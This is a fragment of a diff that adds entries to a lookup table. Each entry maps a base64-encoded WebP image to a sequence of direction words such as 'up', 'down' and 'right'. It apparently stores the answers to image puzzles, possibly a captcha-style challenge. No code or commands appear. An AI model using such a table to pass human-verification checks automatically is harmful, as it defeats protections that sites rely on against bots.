"data:image/webp;base64,UklGRk4CAABXRUJQVlA4TEICAAAv/8A/AFfBKJIkRQ3L8FtZ59/A/VfAoQ1GkSQp6mXmPQWn5fw7oRcDmwAA0uDu0IQY9L9h/i2Az38AICX0nd0aqqKErDhS6Kc//1hWXNdC98ZPIDOMBCKBCAAEIgBRTMAMwqD0Y/0LymvMMyvSihDe7RJPIV4CHmBPh9e9fhzMsD2fzn11pcsxNqLI6gUgSpKkqFrc3W13cI7//0Ke7dybbpyL6L8jR5LiKADX0eVZEU9wV39k/sv892laEJAReBGYkfnvBdANcO5Of/z/5+l9WV499NLrn/kv898HckdcRxY2uDYkHNa41gcOFgtciwUF4xBwhTAmoCoiuESkSiDR4UdR0EkR3QrfClyJgRJ4MoAdQw6GyEQEn4gAm7AwgVUQFqSAasDDAHbHzQLu7nvMxBg0GcAO4UIA1dio4ZmxMYPTFjakjWbOxxzuFjyg3kEYEaykATaqwolUcUxZmeIcNgorUoI5a+YE6Qy6xAxIeM+L9xBG3IwgkhuPkOyMMHbcbIDtvsf8jM3vuPmRqvFkAy/K3vPjfdn0LTjyhlVYqpiVW8YK6QsXRvrHWuYc6qirh6H+b8vj971RXBc7/R+2zuk5q/vfL5ed1s5O//tFS6tlpz8vfa2+mf69+4XTMtT/gSnRSez0f2bq6HTs9Gemq9O10/+e4XQM9X9oSjQSO/25OWmc7PR/bGprtO3056ar0bXT/77hNAz1f3Gyjbe105+dfby9nf7sNOM17fRnpxGvkXr/20XDXf2R+S/z3+dpDg==": [ + "down", + "up", + "up", + "down", + "up" + ], + "data:image/webp;base64,UklGRiIDAABXRUJQVlA4TBUDAAAv/8A/AD+hqJGkaM6FH5ZQhG0sMW7byNHI3vBMFW1F2z8Q7hRFkhN1Eo4nLtCBA/yryfwHQhgIAIRPwd/wN/7NdbOLlE474lJhIEFgMCggKMKI7cBgCUOgUAjA/Hnd9UjJLkkDCW9/BgmOJCmS1MtMDbPUU7W8/3/iHgx0ZkYczmRE9B8SJMltm9lF4cCgHIA7h39DX1v/2frPJmnqVLqd6ULrcTPPrK4UiMnVZa4eoMZGK+8aYONp14AYW620oUiCi7cNLV4cBnSRxmaZrn0QULbvl7sTf89mhrSrB6pDia8HK525Ca+TOxno0pUbBBqLJNNHCz+ZRbI9iQCZxfgiGZDnxo9YZD6n1uvB4bGaFXX5OPnVnX9j7yfjJD++fNSsrHbyq+sXhoGxcDa5TlDtHBdrvZ4tvzo7d6DJfDM+4H7RCV1YPAa9WQibzJcVAiNHxWtwbWPS6HpxLo7wQFK7MKdD45CJKQvXLyQuaHoWuWUw77LRkHYKyPtzs+68G60N2pqRZU4aJq/NGlw+FlPmDXqdV2uVFjyq9gh7JA8g9ygvtDQwPWV3n85g+iwUajKdIOwX5KSzmHfhqTvE68DUHRzQGay7ANUdwnWA1t3hOkx5l1gdqLybKVeIyXzxFIyTAyzv/suGOvYDif0hEvsLkjoK8y7jDn3dwQOn0OsOPphhrzv4SL9gz7vQplRX3NDIu9KswY3llxPRH6gDfIg72F+QhLzu4AXYdQdHAK87uKFDvu5mS+ab0wPQ593YkvniMGCQd//V44L+YEb/kBn9C3pgP++SgNcd3AC77uAI0HUHV+DOu9CmVO4UcWcsocHxd5e40mmxCFMqeQpptFD/ybLxRE/VmZ7w/h8mf/PMrf9sAOIXoO626URtDadE00o80PwXLkUEixUSGN7faXJegyox8K31CqsOQvhDC2wUjbtPFFyJ9/fN6OTjxvjMozcEZPBLgKBZ7MbdNxWGuqjMcaC4V8jdEnn3aBD9pvu4f1mL9IVL5C2BMoJGchFecKE4OXbubrHRhWjfwGb62vrP1n82MJMA": [ + "down", + "up", + "right", + "right", + "up" + ], + "data:image/webp;base64,UklGRtIDAABXRUJQVlA4TMUDAAAv/8A/AFfCKJIkKVU9ww0+8f/eBRuMIkmSUjV7vXCKATSjYA8YRpEkKaoe2OPvmTv/gRYW5j+ACEQwgl+I+HfkMDoQiIMZyh9DGwxJmCpOZesTAgiEn2xjYggiGISIisrIam+zruG5Dl1D16CiUuEQYkwpQnBikm62ytaMUz3zFExwJLZ/tX6r9cySblur+lLtlN8ta8bBet9a+RSVKm7txXh/73NRgKK1vW2k7Jsh9N6bYQKstgeFunXwePvq/u9oY49TRgL+MhH9nwAs/b/0/9L/S///70Tp/eVFcSv2VXKffbt3zy7HRcKatHm2ZpXzG8XNyJq0fLRmkvNnxc1bTWvS/tFDe5wgsZQunt4oCmMgkaSjm8ZYTyDp7A1TlIiTdPf0oSEI8VK6fGQHQpyk22tWIMRJOn5khBJxks6vmYAQL6X7Z/cMQIiT9NEAhDhJL7+pr0ScpJ9n2iPES+mr8ghxEpMR4iQmKxEnMRkhXorJCHESkxHiJCYrEScxGSFeSs/PlEaIk/T9m84IcZLe31NZiThJ789URoiX0v81KIwQJ+n/ERRGiJMM4JrCSsRJBvAI+iLESxnA04f6IsTXZQhvQF2ERBnCzUJdJRJPBuD0RqGuVVy9detm8exc+n/0EBptaRVNN4sb59L7ozXotJ1VRIriWPp+tgattvIVCReX/Tr7du8elv5f+v+fxiutP7bOSmid/+vuoL3gbONCB9k23IVgm9BJp7eNnfb3ujHdGeS6xnjwOCi3RnIIIcwGJ+h7aJz5Kq+vEHhIKq+ywBlC46x7b7zSWuxeZb5fwZrdC3/8DsxXa81h/qZZ96A0h+EcTTSGQR1jop7DneQBAt547TCSd3Z2dn4uGmZeSJyIwW+nnjg0Ol40EyzQNmqMRkh0vEgmWKTvQm52mHuyOBw0wMg4Qt0OODXtkLNHeH4HDTBy3h6jbmMyQmraDnK7CBY+Z9lA1ru3x5jmqzFOcZ3ixXdtJbny3ofAyP/Ge59ninRO42zPr3gPbVZXXAuocm3PEbrxoqFSByofGK1m2kW6S/jB3MLLBij07Re0W+WZzMEJT4APH9qpNNJ+yMlIfxSavfcjtPlgOp1OX2mMMzDm/J7wuR283tp6DRM4zBsSMG5H7W6eT/cx78eU0W2TPE9hdw0Zq1hwsOmLBEZenwCjvmxg594hb5XAVsFGCIGR3yc4s+Dly5fX87kQ34fNOeG70WYJq0bjhH2j4emG996HEIIzGoDPTWy28Qjvr8zMduf2eIRJXbPZlv5f+n/p/38sAwA=": [ + "down", + "left", + "down", + "up", + "up", + "right" + ], + "data:image/webp;base64,UklGRuADAABXRUJQVlA4TNQDAAAv/8A/AJfBKJIkRd0DC79VtUrO/4uxbTBoJEnR9MzR86t5Re9fATGKJElK9szuAj988EcC/g0d8x+QgPgBIQLElxdM/TeeNs4TiUhL40DCwMHBBMEUxbQERTXVJCQoOJjAyz//zhLr88F+mdfNXCLtqJNcXMglCBESJPp0WO4HwSDRtu20jVxmcKAUsMoM8f//XEmW5PfuHZ73IvoPwW0jRxKrjJsNtfk2zMwLKvr133///fcvaU0oVEdj3/U8h5PzeRMEVaNHKF4Dsyq1Li9EcUX6qeSTRrBJOmmEWL+VdMTUzOCSdkSNl8AFutzPrKsO6HI/3uy6N4DJe6AGhPmgqwlz3+toqKQOISV2CCTZDZPkc3HmOx/Wv90tznwYvV8AyW985PcAuc0+b/dJZUvr3xq3Qre7zCJqxW53kQat3PNWpiHblPB/exBfFweXkPftOrI2Fi8TYhpbF4mWiRHrGut2t82Yxza5Sr2ljip8lbYcTwHwOzv9c3xyI8EEnswJEaY1WBaPEIZOVqSA1zkRpMYmY6KkIiMbDpHFI4oPoUmOMG62hEtqxBkiOzpxQh4HyOKRaABMUkRyYFJSHPw/CRNSOTQWj1z7sHRGsDNYusJYR0TzAcII5wAjHr7IN+AS64OTSS+2qKQfY0rZDFAPrqyuXbVJ1WcsYKU+fqie+vhEPXHZDOVRmsB5Aob4gMtEP9hM9HGQyQRWIgMWkPiAxQRajziW3Z1+nH4cfzZD39gvu++yj4/RRwLwExKckl92d/px+nHgE2JAjceX5YAajwath1aagNbNQgqRcYNTf2fCvuJ9cc3XYxt3V2mnPs+VetrzUvWjkaRRnvvqi+WPKkRiqc83K6umFIxTP3JbBq3Y6trTQicUEyur22+tF/FIa2LtPTHE8pA+sfbaRvHKzSJ14jNxOeFSHRMdxG9xakDomOgif0cbDDomOpXY3sjEZ7oV2N5IxcdEgvytzVy8J0X2xnYy2iS5+xowlLmvATOP3+XtZ8RH2sObtZ8RIWkPb85+RoykPbwZ+xlRkvaTKn2Zk7RflMkhJe0HdWpYSVufkDjBzGOR96LAS9rapKQQs3go8l4UmLkp8l4UVAD0XkTeY8Xd4qEi76Ziz347aKRp7F8nVQd1VaPJVB8DY6qRYYlKMHrDzSZBaU1AMBsGtTWAsPglihtFuPdmUF6bANavqS/1zvSbaA8CrvwSINRYd7j3YYBRA60mOLjeK+Te7uR7iIbTj58oM3BAZdrORL7dQTWCkPwRPsXF9axj5971DJqBii1MH7A1/frvv//++wczAw==": [ + "down", + "up", + "right", + "right", + "left" + ], + "data:image/webp;base64,UklGRuIEAABXRUJQVlA4TNUEAAAv/8A/AIfCtJEkx+Huvrfs0MOHjm0kSU7uZu9eWVhEoCFCkufZNpKkqHv20eO30fv803vNf2AEZNH/oxVDpQoZYsCppoaHRWUgiBRMgRQsElhkVUUABUM4AEoAHAIkgU0WjREOmaoHwFRNNs1vcm+vrfYkUknlfz/Xejj7KGKozGUS8dybvWmvsZgw2U8kEAAkCAAAABw4hhUNujRkYaBoa2/bRvJUW8n0XpSRpzeR23tN77He/3GyQxKAAWi7+Uf0H6IkSXWbBoLfXmRVCiR9wWT0y8p/K/+t/Lcy0jfkoj+nH34nF/05/zvkJ3LRn/P/f447rPy38t/fiX4hU5TTPV/+VivJ1wZyOlJpvr5kIKcj5XuKry/BQE5XKmmzwEZOvz7QRs6V//6edcy3O26aLvLFF1t1XGxndRESgGtZh2PyZ9FHKejG6c7TXhDQjJDXEZCEJ2NjCFEagvuKbRkwOK/UlgODr34oqfnZRswWfs5sxH7BGpc/vir5itzAzxkLlTUu57pKbzjh5jwpqAvOuDyqMg3vuTnfl1T6uFzy+c+pn+unNgH0RaGl5Uy1oRjzLXlcPpVvU9/WjHksw8DIWYdQhpY4Lq/Kj5+qk4x5pAAjZw0UoSWNyy2ffapmrEealp6zpcFAGJc/rqYBvvv1vGCSOojUsqDmXJBj7tbiuLwxDX0mwx8mGZGMnLMnezUh5+y8aOifpr74tSJ3mIWOmvMpHZoJPefMhXau5h5CdsbBUBeUnIu+Rk6l5Lza12i4EvatzTQS/zF6TvBSzjcZOWdONMwpkZjmZWDGXN9k5Jz50IDL5UPM4JaTkhNwS9nliEz1oeG9TM/JCbZ55eTs7Db6/HATWItsoc1rwc85TDg5Ow8aAqZ5QQCGnAECCj/TtJhz5kBDALKeiUAOJIR8ByCar2CtJ857ClbOVgYmtZDTekUklYupeRQqiX0AkLC2yZrR9DMPGm5k5lDCjqUgtUEchDFgDn2u1Rph1HY/HERPEltRqdzTr81XcPtHSyBW7mTXerT/42bcjtzf/b0C/AMQVDDjwoxYcmuIRqykl2bI5TzKzLuA8qinAOp/X0vLWB83+TnnEuZdouUm+7hewFSzwJCZc+q3wVz5Arqnn09YJwbS6+v0g8RpjftqNRLnBVoLGokD29aWmwCwmQgWdOldjqdqewHD0qi729vru9x1FvoFDBLbYb4JY31Nj7fa0ErchUqdxAbcjDYgg9fZ6rvEujE1sjqFnrDcTjxUiHl4/zlMzT0iy2ninRVPcsc/Dc09HouMcSdaAZl94Y42H/LI18ae2LEr4pUqm1iXmQnCjibxgvf/WRfuhKKxp5PR6hJlwJ5rzPP0qqzLbL7GEKQngJimiuy8ZO4FSmnY0ztNhMYHU4SGqsh17kawqBMy0+Ol1Cstmlm5G4VeaUmAkPdqnHlkENoj9Kw5pF7pkdtq1hweaYUG+9zEM6FVYYkvbEM0sPZopK6HjR7RMvXsDFhm5KkH0nfaZWDtKbUFDq3ZE9oonYFn0CXu+gQj5paUmYpnpLy2qrPvtlUP0+EaeCI65aU/Plp1T7/mnMw5JzgFCpywHVv1Nj335oZtc5C4ov+jHrBtJ9tuvNXRs+GdynZ/+d64ZXv0Hf95Mvpl5b//P1YBAA==": [ + "right", + "right", + "down", + "left", + "right", + "down" + ], + "data:image/webp;base64,UklGRqAFAABXRUJQVlA4TJMFAAAv/8A/AD/CoJEkRTNHDs6/pXfBzDhrg3EAIEqAa+PlCq7i/mN0d4LjRpIUKauX13931p79MR9Uz38AGAABECms1kCAQsIKFZwWavEmeB2o5f6/hOkHk6T/+8ttL7nGkxtIfBxoELICCFSgFiBAoBIQgCCBRkCgElqBgk+CS4MLgU6cF3opigEgfZCG/qcpX/t+Wted2MRmkkzS//+JTWxlOXqej+O4fN/PMEye50NsJskkfd/P//+d581AYfvftm3ENtPK3su10nS7otSVIXfXvuT7f6TzICmAxP/2gRH9l0XbtpU28+wRAd1JnxQR038Df/733//++5vMdsmmGiwrBKXlSlGpDiCwmSt5St9eAFi3bLFzVNflX+dKto4ppF/ninVOWYi+zpXCZhAL2TpCv+5dENoq36+cDZnBsqq8Ni1XngepdCCwK8sVG0j1TOB1phyFG+qatG3v0D3lyF3mTSFqm0vPT+5/hC2X/lTXBTHX2VTdZTE/nHu9ovvbCoOWPDISus2hoCF1nhCtg6H7TqdE62joMrU+IHpJqwLElT2SY04cJjePc/buS7dpHg3DqL5x0ZJMkXF4V+fsottUShwmM/nBF5LPjEPbzOSfj9QszO5QKU64ANFovRDjCIXXOIwX5Vvi0804tA75M6VnQDQu+dOh0p1vxGE84wqZPhCtR873VOfbgGi83tOkB8SkDpgfS92tXNkMw6gOCgELxLsgedT9NUogJoF01PkWiLYJo9r10Ug0PCogxjx6SLTB2o7HnEg0qhwPqYAY8+gj0fKokGjCTTo95cBh3DZ18Oi4i6eWegTbosrEIjCZbenIdHAmv8nonTachvRk29eE+9DhddkNS0+cfQ27Sway7GtiYBkIsq8h9QXOyk1NPd9Mh9mS2WPy/NbtcgNJ7Thket0ipZ1+pecOmVzHSGi79F/1/UCr9Xr4+rG+XsqZp5DuFv/lUz9JNc78usv1bGbhWUx0S1Ae/SS1kHE7f5y6GNedQlmdbgmY/UV6S2mayUjfeY9Trg9cEepDaYPG9R7AzzX3MBVUhJiF+cQZxoIRIJcOh2zhLRgR4qBceAsm8fgPP+7fp1dQcVInVzBJJ+z460edWsGIk6UfqRWMGNl1XWozd62F4zzMXc7f9T63jWqcBRUjQ2em7lrVsarvNeg4C0aMDJXiGpQ4CybpvFJ9cqq6t61K9DJsnAUj6Uz4jj9gGDEef0DBVQDhHevxBwTjhvc5CALtHMYCDJwF+TVzWAvS+xXDeQjh3UVxHgIC7oLoYjkPIbiHaM5Fyu1rNOci5faR+1wkABGcixTfNXsexLd0DV++Rm8azJZd1yUcXMPmKiC2cWk3nAW4zoZ2OlvOAlS9pyH/X8DBNU79SnN2xVXAqDddUs3OOAv4rPQqVTd/AZsV/zcNCSsg07vKvgktyI76PdPBBUyeVUHvGQ4v4HH02rqHooBFUVrPEBWA6PmXyAqRkGlfS1eIgzSfm7wgPu8WloLoet7vj8NVkNtRperBVxDac+sZ5gI7Afa1ERSk5d8SRYFZ+o+PoyAn3742qoKYBk6xFaS0vCjGgpQGcyItSFl7qzNxFh46z4EQLn4XXQhHiuOO6ORCXOvRyVvstpKLzakvBv3VTe3QM/nk9FOmnhyU9G7SLgTuu5K7EWiK1G7gp8Sf9KVfGFSq2BeXZ6BneTAFPctaKfrC2XAK+53DjD5rFn7eTIO9UFj4iyX8FBl+SsGypaAmUz4LRZXir4D8W6BACX1KAz9GFXyhAJaCDPqUBn6MKviCKvrFY/h5YeDHqIIv9Az6xb7Bl+7QpzKq4AuFQb9YGojpCH6MKvhCATKFlt1Wcd4VCOwcvwi4A+/0+lq5YZ6izItOjCr2u14a7HPyMq8Y+PO///73398jFAA=": [ + "up", + "right", + "down", + "down", + "down" + ], + "data:image/webp;base64,UklGRjIEAABXRUJQVlA4TCYEAAAv/8A/AJ/iqJEkR6rMWu+ILYTjT+G+HoSDNpIcadx9OTyTR/T8cTyDRpKkxrtn7vjBAsEH81+FDIdB6EWhUigEOWDwoiHxSphoa1qnLgPUBHRtcgAE/OOZzbAMtky01VZbwzK0BUkhCIIYhCATJiBoWIb9PrVlAmprOTbX59HWsAwmTJiATEDQ37XVVltQWyYev9+az4vu72uEEQZIoaBobXvTOGIM6b33HmcZxuk904DJdqVp7/9qDBgkwrfd3ydF9H8CkrX/1/5f+///Om7M0phIxYsdQzKGQlIaZxs4xYyLKprOMSpjitJ8uzY912EOz62XH83g+89vgnLjtX41zgYpYlFU0XhYhhyCYk/Ga6mYcBdfxGhGMcagqXUiPKl/MyMb6ychTKUymNEOYRpx1P/D7i56b+DTNnhz9IJE7KSH2G0lyqHbyhKVyFVZKhnksjjTJnKPJKkArtJyBE6NxK1oIG6lGl/BFtS8C1veQtTeqPk6agdHWnLUjhxqKUF7fPhzCzE7OHLoU9MmaKfUnmO2lXQsIauyLgayLO2QQzZXx2NPENtWpxqwX9X5BAG7gV6VdXuGV8zSbu/wytJZNwPXVgwbq/0e486b7jUwtZw8ZYDJ3PgRmEXqxNzgUmduGGDkZgXMPTcKg0uQk4XBJZxyowKGv61OkidXKYlMz1oxJ1zvVinxerZCIF4nut0hegSsPtapQuxJp8Iglqv9+AlCpo7hI2Rll6cGsrzDOWK22aECTe2RmJVthQEtb4uoXW95S9TUPDeo7bYY2F41beNWLKULg5uWM4Nb1VADVyw9M8BtapZmBjkpZjVypZQtDHK5tCB0DyViJ21jFzQ36BG8u29wKSpH6GNVTCMpd8LLoAldjlHQtD63NzaKyeT+YVyUTPK98VAy1S/8PA4/ndWEvzcG9zTxS9+CAAw+BWGY+xME47YfuaDcdq8UmovarVoJnGm2cElZxEPSqcqVeEqwFpULsRC0HK4QukfiMDEI4Nu/9KeQgJz3VQjoso/9LEVK+W+rxIzpDCrpQbf7CeQf2t4nqB85WKqyBPZD4bHhVpbi9l/uV6w4Dpe/MY5DpL3yPaFtpH/xW2P0L5K00pXvxaVvtpXBr8COwa/AZSuJ4TtwlGQXktGXyJWjL5GtDSTjuJ22vdKHM7ZX+nDG9srxumJ7p2u0vdM12t45TrSD0iXaQekS7aAcny928OhKtINHV6IdPI7Keesoh6N1lMPROsqxuGYdDsNcsQ6HYWgdDmMQrOOhP1rHQ3+0jgffvtI6T/ZDWufJfkjrPOkTradc6RKtp1wp0HpKT65Zr0OXS99oPb7W5RJpPb7m3iXrfWgKpF9SaAqkX1Jwi6R/JBOx2S+SidjsF0lnrlhg6cJVC+7V4Sy8a/+t/fdvCH+gE4Zbvx8=": [ + "down", + "down", + "left", + "right", + "left", + "right" + ], + "data:image/webp;base64,UklGRuwDAABXRUJQVlA4TN8DAAAv/8A/APfiIJIkReqqOXgm/xZewFt6CUdjw0EkSYrU1cfwKOa1volXxzjtsLZtF7rnPjlTuLbUwUwRsvmPSIMEQUCIBcPYyiXI2SWMw6+R1Nil5l1u+CXEMMQwxIIgAILsPCYy2gDVhNNUQABUEwAFGgC0adMGEAMjKCVKKRNUUDanlkglpcyEqlT/0fqMTlnBhHV+3J4D3zJ+c5SlteGTyF/qk6BCIoCUpP/0Kvty27nUJtWn1TOffa60TdvnOPmdF8v19W/+Fu2eu8ppl7H9fC+zjjgoatu2tm3stB3zrJQZzc54KzOzMs7O/zymHwz637F/v9r3KqL/E9BZ+3/t/394fAnfb6/Q29Nr+GTwyeCTwSeDTwafDD4ZfDL4ZPDJ4JPBJ4NPBp8MPhl8Mvhk8Mngk8GnBr52g9O//ysFd8s+eJLKPnpSCZ/Uh0+/wqc+fMKvhOvF+XPKL3zUx6qkUx4lVH16yqU+UCW95SqBYqBrF6cXIdkhnM6HZLzOhejPtxyS8XoRkvFSiJy7QJV+cpVAqe+jPXcfKZUu7blLQiW9OH9O+cWebx+t8JLoEb0+ev8TvD6xK1nXqVD2idxu2ed/eNyL3G7QawieETwjeEbwjOAZwTOCZwTPCJ4RPCN4RvCM4BnBM4JnBM8InhE8I3hG8IzYtw3B33Dt/z/Gp48W+nAXEC32DJBiwUQ886LN0uFU27ZnVqIW/WYyTFTbpxOhvVtfX6RBz9ArVOP5D7yslMx1tP0oLXMNWWLoj6fReN45o3Nz7krO1aPkXvvvLyifb+Z+GZ0F7N21pMg1xEl7ORU2OWfW86lUGHZqOxlU1Bbbtj0TddLetdVlZhZ2sr7miF+7wtpe02wHv58gXFmZyXwsVi4+uthcWZ6bYyZ0rIKVlvOSfJpSFomeh5ajk9R5XlyKcVoVMe5OfI4txTtpxRyj55G1jJ8xtWPQnRX8QLNDnaM7czqeXHkOWcEPqEOdrQPc396cx5vJle+amd8lxzeKeP8mq4s5TJnek6BjFY0p4j2NHfw2XpFgDPrgd41FkY+qv2vCmOK9kGMkGwv58mOd/fqRdMtRONjloZnfNMkYsrM/H1XolJVnvnr4/PqP3abhVVflR1dcNz5Js15AzCnd3R9uP3l87Zc7qt6p4kUPJvokzyfTc6vbND89feY66rjiGqQaWczD6Pv25q2tbsODV/X9zzvSfsdHF65WMeHHN6MVjPvePvKND+n77onpI+WU4zhWwUU+wrQ/Gqcg0Pt3Itw0Qm0RjNhNifZ2SCZ4PQL+7onJXbOqgqg3ba4g9JZzxm7t/7X//xkUAA==": [ + "down", + "down", + "up", + "down", + "down" + ], + "data:image/webp;base64,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": [ + "right", + "up", + "down", + "down", + "right" + ], + "data:image/webp;base64,UklGRsoFAABXRUJQVlA4TL4FAAAv/8A/AG/BKpJkJzMvkPEvgX90RBeYeMGGokiSGnLOyRFWEYMKvng4KEaRJEmp2hv/HvgjACFYOXv+A8RAiiBU0AcFDJAAY4dNf9F+dIgGMedBpiCLoASRXEFIjlQrOWSCQioIwJBALgikUijGIo1GqaCk0jdPoPjv7dqXAq9z7Y5z6ChAwbbttm0FB3Qj3RsEd1vvuUrzn18jAd7H+5L84oj+S4IkOWybuWUBIAnq7ITM4UCo8g7u24///PjPP2QsMwyZxegCSVFqRWTmAqIo5RUyv3GgLYqSbjCfH7Enq4KUtcda7qiipL2WmVcWilKr6kQla4/Gbw9WWLdhv7l9LbFZjJFxG6XHIkRmkXEbJXUD2MPjrJBDwo2lDtp4sWoRuaE85kDRrXCim6BI4sW2hCEFZNpBF4hc2eP76+NtZR9f3wx7o9AC2r7a+/vblr2/06ssULRVJ32+9/P+Sbet8Lv1632I9y+2bcW4K6mv/jZo3KoLFKmArqQHxw4ZhRQQtngv451ZG0RXQNouy2BWLFFkHeZ0u89bofHqkkC0WsDOFh+lfPAac4DINbwVG60xBwr1g6wYzhxBQbz4wQLErqobp2QQDyu8uJCCkDU+xF0LEGkDH+LuDEI28GHcpRi6TVwYdy8xNPfl3sZIN++SQGg5t5Fu3k0w3FegB2zzrssKasuagm3ePSuErg/+s26KQdQPLTB0on4oY0gDkJ93VwziCAsMSRxpZAwijpyiELoVTmyLrBjuVkcBcRerPSB0Dfu4e7neA+N6o6Q+7lomEUXyuglk3E3ldkPS6jaIvAuJPXByD5C8G4FnzbjUl5C869SfNaNTX2Ly7tO+3canPuGCmXeZ7B5DHPeCmXeb5rPGFtoPZN51gs8aazR4pne7meMGz6T22GSOZzrPGqvczBV+ykSeNYaZz5XehdZn2CUerH2lF3dl09yu4Rd3Z8voBvzGXdkuWyV43M1V5VeG5l3IqnzEjcy7sVX5DwPMu9JVRUkx757NEeNsIJ4jOO+S7SGibGWNQxGlK2OIiI6qJnhjv1TVd67G3oI7tu/9Fi5832KM6w0dd5HnYAN43E2d240SP+5izlaJH3ez7hF7IjgDeRfW5O26hbwbYw76exjIu/INtwbjDQt5d67326+iYBs/78KUw8L5K/y8G03amUgh+HlXlrWs4jYxxtvt+QWf2fhn1nFuBs5395TmZj4fxNMLNcUv1HkZd7V1c9W24m7WNefGXdevOoI5Nu7u7tSehUA072LjHTXi37vZrWomYP29q00nIlZg/L27TXOvti0FctatasYRbkoiah9i2n0QmQQrNZQ4e9EJWW5dCq6ZT753WadoqWP3rJ3Gx53u7OwQuPbkbfqvHzpOl0Q950xEHGf/UYnYVJ+1nrPew4UJnu86IiK+M3Of6D8zbylbG+09N+4T/OeIDyeTU2n+Y8NOk4jg/YLMRE0t9KzMf3VJ8X7xU67Nfw4tI7iN4/sVMj21tfnv2Psy9e1BjPV+lQ1u2HXI9ev/mgz3C/Bx7TSLXPVHM5JfpnLZLZ3/QEKG+5WEW4dRZn4y3K/ErcNMRKrff2jwfmVqnxNFDuvff8H71SozxdlshPV/BvzKzBTjGOv/LPjFbQxS9/6jHb8StTFI5fuvZvzqRHmp9v1nO36J8lL1++9m/ErE8hDV6x/M+HWqSqtavf7FjF87ykvV65/wfvUAk/voCX9K7WTMqlOEdkyxP8WEyF/IhE7ox10WOpCPu20cJD7usiPu425+HeznXfh1sJ13G6FK4QKG864jicLyjLL1fyb8sqbA2gx1aB1TOxreKwfXNNoB5zvsBe+r58F7PQXvNM4B5zt0wftqCv6pHu8lwUE7qQ69va/m4KIqcV/BRzupO+Bktc11TT8PFeKr7Z0/OX1gaPVOkl6a4LK1OW9zGVbm+qHn4Lo1l8+rpvv24z8//vPPCAE=": [ + "up", + "right", + "down", + "down", + "right" + ], + 